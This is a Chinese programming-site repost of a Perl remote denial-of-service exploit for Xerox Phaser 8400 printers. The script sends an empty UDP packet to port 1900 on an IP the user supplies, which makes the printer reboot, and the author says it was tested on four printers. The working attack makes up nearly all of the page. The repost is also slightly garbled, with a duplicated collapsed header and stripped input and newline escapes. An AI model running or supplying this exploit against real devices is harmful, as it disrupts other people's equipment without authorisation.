欢迎来到福编程网,本站提供各种互联网专业知识!

Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit

发布时间:1970-01-01 作者:佚名 来源:互联网
#!/usr/bin/perl#carved-outby:crit3rion,justmakingth3worldab3tt3rplac3!#Xerox_Remote_DoS.20080801.ver01(tanxtodr0pz0N3forremindingmetoclosemy#$*&*!s0ck3t)#Make:Xerox#Model:Phaser8400#Firmware:03/03/
#!/usr/bin/perl

# carved-out by: crit3rion, just making th3 world a b3tt3r plac3!

# Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3 for reminding me to close my #$*&*! s0ck3t)

# Make: Xerox

# Model: Phaser 8400

# Firmware: 03/03/2004

#

# What's the deal?

# Apparently, if you send an empty packet to a Xerox Phaser 8400 printer

# the printer will reboot. Tested successfully on four printers.

#

# Let's not leave our maliciousness open to exploitation and errors!

use strict;

use warnings;

use IO::Socket::INET;

# What's your printer's IP Address?

print "Please enter the printers IP:n";

my $ipaddr = ;

chomp $ipaddr;

# Let's setup the connection...

my $socket = IO::Socket::INET->new(

PeerPort => 1900,

PeerAddr => $ipaddr,

Proto => "udp" )

or die "I tried. Maybe you entered the wrong IP?n Maybe it's just my bad code...n In any case, check: $@nn";

# Okay... Let's kill it.

$socket->send("");

$socket->close();

print "Done. It should have died.nn";

exit(1);

相关推荐